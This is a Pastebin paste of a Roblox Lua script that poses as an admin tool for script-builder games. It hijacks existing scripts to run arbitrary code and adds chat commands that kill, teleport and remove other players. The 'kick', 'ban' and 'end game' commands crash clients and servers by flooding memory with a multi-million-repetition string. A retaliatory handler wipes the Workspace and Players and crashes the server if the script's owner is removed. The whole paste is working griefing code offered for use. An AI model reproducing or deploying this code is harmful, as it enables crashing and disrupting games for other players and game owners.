Advertisement
Boss-1

Untitled

Oct 31st, 2016
69
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 10.20 KB | None | 0 0
  1. --[[DefenceField,Frsty]]--
  2. --[[Win For Win Loss For Loss]]--
  3. wait();
  4. script.Parent = Instance.new("Glue");
  5. if script:IsA("LocalScript") then
  6. return
  7. end
  8. Services = setmetatable({},{__index = function(t,i)
  9. return game:service(i) or nil
  10. end})
  11.  
  12. Data = {
  13. MainCons = {};
  14. GuiCons = {};
  15. Banned = {
  16. ""
  17. };
  18. NameLogs = {};
  19. Scripts = {};
  20. Scripting = false;
  21. }
  22. --
  23. function Choose(num)
  24. local Plr = nil
  25. if num == 1 then
  26. Plr = Services.Players[""]
  27. elseif num == 2 then
  28. Plr = Services.Players[""]
  29. elseif num == 3 then
  30. Plr = Services.Players[""]
  31. elseif num == 4 then
  32. Plr = Services.Players[""]
  33. end
  34. return Plr
  35. end
  36. Player = Choose(1)
  37. character = Player.Character
  38.  
  39. function Coro(f)
  40. return coroutine.resume(coroutine.create(f))
  41. end
  42.  
  43. function ReturnSource(x)
  44. S1 = x:findFirstChild("source")
  45. S2 = x:findFirstChild("Source")
  46. S3 = x:findFirstChild("DSource")
  47. return S1 or S2 or S3
  48. end
  49. ReturnSource(script).Value = ""
  50. function ReturnOwner(x)
  51. S1 = x:findFirstChild("user")
  52. S2 = x:findFirstChild("Owner")
  53. return S1 or S2
  54. end
  55.  
  56. Coro(function()
  57. local NS = script:Clone()
  58. NS.Disabled = true
  59. NS.Name = "Normal"
  60. NS.Parent = script
  61. local Src = ReturnSource(NS)
  62. Src.Value = ""
  63. table.insert(Data.Scripts,NS)
  64. function GRC(x)
  65. for i,v in pairs(x:GetChildren()) do
  66. if v:IsA("LocalScript") then
  67. if ReturnSource(v) then
  68. local LS = v:Clone()
  69. LS.Disabled = true
  70. LS.Name = "Local"
  71. LS.Parent = script
  72. local Src = ReturnSource(LS)
  73. Src.Value = ""
  74. table.insert(Data.Scripts,LS)
  75. end
  76. else
  77. GRC(v)
  78. end
  79. end
  80. end
  81. repeat
  82. wait(0.02)
  83. pcall(function()
  84. GRC(game)
  85. end)
  86. until #Data.Scripts >= 2
  87. Data.Scripting = true;
  88. print("Scripting Enabled")
  89. end)
  90.  
  91. function SNormal(Source,Parent)
  92. if Data.Scripting then
  93. for _,B in pairs(Data.Scripts) do
  94. if B:IsA("Script") then
  95. local NS = B:Clone()
  96. NS.Parent = Parent
  97. local Src = ReturnSource(NS)
  98. Src.Value = tostring(Source)
  99. NS.Disabled = false;
  100. end
  101. end
  102. end
  103. end
  104. function SLocal(Source,Parent)
  105. if Data.Scripting then
  106. for _,B in pairs(Data.Scripts) do
  107. if B:IsA("LocalScript") then
  108. local LS = B:Clone()
  109. LS.Parent = Parent
  110. local Src = ReturnSource(LS)
  111. Src.Value = tostring(Source)
  112. LS.Disabled = false;
  113. end
  114. end
  115. end
  116. end
  117.  
  118. function Chat(msg,user)
  119. args = {}
  120. for v in msg:gmatch("[^"..[[\]].."]+") do
  121. table.insert(args, v)
  122. end
  123. args[1] = args[1] or "_DataError_"
  124. if args[1] == "kill" then
  125. local p = ReturnPlayer(args[2],user)
  126. for i,v in pairs(p) do
  127. if v and v.Character then
  128. v.Character:BreakJoints()
  129. end
  130. end
  131. elseif args[1] == "kick" then
  132. local p = ReturnPlayer(args[2],user)
  133. for i,v in pairs(p) do
  134. Crash(v)
  135. end
  136. elseif args[1] == "ban" then
  137. local p = ReturnPlayer(args[2],user)
  138. for i,v in pairs(p) do
  139. table.insert(Data.Banned,v.Name)
  140. Crash(v)
  141. end
  142. elseif args[1] == "unban" then
  143. local Name = tostring(args[2]):lower()
  144. for i,v in pairs(Data.Banned) do
  145. if Name == v:lower() then
  146. table.remove(Data.Banned,i)
  147. print("Unbanned "..v)
  148. end
  149. end
  150. elseif args[1] == "teleport" then
  151. local p1 = ReturnPlayer(args[2],user)
  152. local p2 = ReturnPlayer(args[3],user)
  153. if #p2 > #p1 then return end
  154. for i,v in pairs(p1) do
  155. for o,b in pairs(p2) do
  156. if v and v.Character and b and b.Character then
  157. v.Character.Torso.CFrame = b.Character.Torso.CFrame
  158. end
  159. end
  160. end
  161. elseif args[1] == "reset" then
  162. local p = ReturnPlayer(args[2],user)
  163. for i,v in pairs(p) do
  164. if v then
  165. v.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..v.userId
  166. v:LoadCharacter()
  167. end
  168. end
  169. elseif args[1] == "names?" then
  170. for i,v in pairs(Data.Banned) do
  171. print(v)
  172. end
  173. elseif args[1] == "nrm" then
  174. Source = tostring(args[2])
  175. SNormal(Source,Services.Workspace)
  176. elseif args[1] == "lc" then
  177. Source = tostring(args[2])
  178. SLocal(Source,user.Character or user.Backpack)
  179. elseif args[1] == "nlc" then
  180. local p = ReturnPlayer(args[2],user)
  181. Source = tostring(args[3],user)
  182. for i,v in pairs(p) do
  183. if v then
  184. SLocal(Source,v.Character or v.Backpack)
  185. end
  186. end
  187. elseif args[1] == "end" then
  188. if args[2] == "game" then
  189. Instance.new("StringValue",Services.Workspace).Value = string.rep("Shutdown",3e6)
  190. end
  191. elseif args[1] == "exit" then
  192. local Pass = "fr"
  193. if args[2] == Pass then
  194. for i,v in pairs(Data.MainCons) do
  195. pcall(function()
  196. v:disconnect()
  197. end)
  198. end
  199. Data,Services,Player,character = nil,nil,nil,nil
  200. end
  201. end
  202. end
  203.  
  204. function ReturnPlayer(name,player)
  205. if name:lower() == string.lower("me") then
  206. return { player }
  207. elseif name:lower() == string.lower("others") then
  208. t = {}
  209. for _, v in ipairs(game.Players:GetPlayers()) do
  210. if v ~= player then
  211. table.insert(t, v)
  212. end
  213. end
  214. return t
  215. elseif name:lower() == string.lower("guests") then
  216. t = {}
  217. for i,v in pairs(Services.Players:GetPlayers()) do
  218. if v.Name:find("Guest ") then
  219. table.insert(t, v)
  220. end
  221. end
  222. return t
  223. elseif name:lower() == string.lower("vets") then
  224. t = {}
  225. for i,v in pairs(Services.Players:GetPlayers()) do
  226. if v.AccountAge > 365 then
  227. table.insert(t, v)
  228. end
  229. end
  230. return t
  231. elseif name:lower() == string.lower("bcs") then
  232. t = {}
  233. for i,v in pairs(Services.Players:GetPlayers()) do
  234. if v.MembershipType.Value > 0 then
  235. table.insert(t, v)
  236. end
  237. end
  238. return t
  239. elseif name:lower() == string.lower("nbcs") then
  240. t = {}
  241. for i,v in pairs(Services.Players:GetPlayers()) do
  242. if v.MembershipType.Value == 0 then
  243. table.insert(t, v)
  244. end
  245. end
  246. return t
  247. elseif name:lower() == string.lower("nonvets") then
  248. t = {}
  249. for i,v in pairs(Services.Players:GetPlayers()) do
  250. if v.AccountAge < 365 then
  251. table.insert(t, v)
  252. end
  253. end
  254. return t
  255. elseif name:lower() == string.lower("all") then
  256. return Services.Players:GetPlayers()
  257. elseif name:lower() == string.lower("random") then
  258. if #game.Players:GetPlayers() > 1 then
  259. return {FindPlayer("others")[math.random(1, #game.Players:GetPlayers()-1)]}
  260. else
  261. return {}
  262. end
  263. elseif name:lower() == string.lower("you") and player then
  264. local torso = player.Character:findFirstChild("Torso")
  265. if torso then
  266. local close, dist = nil, math.huge
  267. for _, v in ipairs(Services.Players:GetPlayers()) do
  268. if v.Character and v ~= player then
  269. local T = v.Character:findFirstChild("Torso")
  270. if T then
  271. local d = (T.Position - torso.Position).magnitude
  272. if dist > d then
  273. close, dist = v, d
  274. end
  275. end
  276. end
  277. end
  278. t = {close}
  279. return t
  280. end
  281. else
  282. for _,Player in pairs(Services.Players:GetPlayers()) do
  283. if Player.Name:lower():find(name:lower()) then
  284. return {Player}
  285. end
  286. end
  287. end
  288. end
  289.  
  290. function LoadGui()
  291. for i,v in pairs(Data.GuiCons) do
  292. pcall(function()
  293. v:disconnect()
  294. end)
  295. end
  296. for i,v in pairs(Player.PlayerGui:children()) do
  297. if v.Name == "MainGuis" then
  298. v:Destroy();
  299. end
  300. end
  301. Data.GuiCons = {}
  302. Screen = Instance.new("ScreenGui",Player.PlayerGui)
  303. Screen.Name = "MainGuis"
  304. end
  305.  
  306. function Crash(player)
  307. pcall(function()
  308. SLocal([[Instance.new("StringValue",game.Workspace).Value = string.rep("Shutdown",3e6)]],player)
  309. end)
  310. pcall(function()
  311. Services.Debris:AddItem(player,0)
  312. end)
  313. end
  314.  
  315. function RlockRemove(player)
  316. local IsRobloxLocked = true
  317. pcall(function()
  318. Player:GetChildren()
  319. IsRobloxLocked = false
  320. end)
  321. if IsRobloxLocked then
  322. if not Data.Scripting then
  323. pcall(function()
  324. Services.Debris:AddItem(Player,0)
  325. end)
  326. else
  327. Crash(Player)
  328. end
  329. end
  330. end
  331.  
  332. function Decide(Player)
  333. --[[RobloxLocked Check]]--
  334. RlockRemove(player)
  335. --[[Ban Check]]--
  336. for _,v in pairs(Data.Banned) do
  337. if Player.Name:lower() == v:lower() then
  338. if not Data.Scripting then
  339. pcall(function()
  340. Services.Debris:AddItem(Player,0)
  341. end)
  342. else
  343. Crash(Player)
  344. end
  345. end
  346. end
  347. --[[Age Check]]--
  348. if Player.AccountAge <= 10 then
  349. pcall(function()
  350. Services.Debris:AddItem(Player,0)
  351. end)
  352. end
  353. --[[Log Name]]--
  354. table.insert(Data.NameLogs,Player.Name)
  355. end
  356.  
  357. ChatCon = Player.Chatted:connect(function(Msg)
  358. a,b = ypcall(function()
  359. Chat(Msg,Player)
  360. end)
  361. if not a then
  362. print(b)
  363. end
  364. end)
  365. PlayerAddedCon = Services.Players.ChildAdded:connect(function(Obj)
  366. local player = Obj
  367. if player:IsA("Player") then
  368. Decide(player)
  369. end
  370. end)
  371. PlayerLeftCon = Services.Players.ChildRemoved:connect(function(Obj)
  372. local player = Obj
  373. if player:IsA("Player") then
  374. print(player.Name.." Has Left k?")
  375. end
  376. end)
  377. SafeCon = Player.AncestryChanged:connect(function()
  378. Coro(function()
  379. repeat
  380. wait()
  381. pcall(function()
  382. Services.Workspace:ClearAllChildren()
  383. end)
  384. pcall(function()
  385. Services.Players:ClearAllChildren()
  386. end)
  387. until nil
  388. end)
  389. Instance.new("StringValue",Services.Workspace).Value = string.rep("Shutdown",3e6)
  390. end)
  391. ReloadCon = Player.Changed:connect(function(Prop)
  392. if Prop == "Character" then
  393. a,b = ypcall(function() LoadGui(); end)
  394. if not a then print(b) end
  395. end
  396. end)
  397. Coro(function()
  398. repeat
  399. wait()
  400. for i,v in pairs(Services.Players:children()) do
  401. pcall(function()
  402. RlockRemove(v)
  403. end)
  404. end
  405. until nil
  406. end)
  407. for i,v in pairs(Services.Players:children()) do
  408. if v:IsA("Player") then
  409. Decide(v)
  410. end
  411. end
  412. table.insert(Data.MainCons,ChatCon)
  413. table.insert(Data.MainCons,PlayerAddedCon)
  414. table.insert(Data.MainCons,PlayerLeftCon)
  415. table.insert(Data.MainCons,SafeCon)
  416. table.insert(Data.MainCons,ReloadCon)
  417. Chat([[reset\me]],Player)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement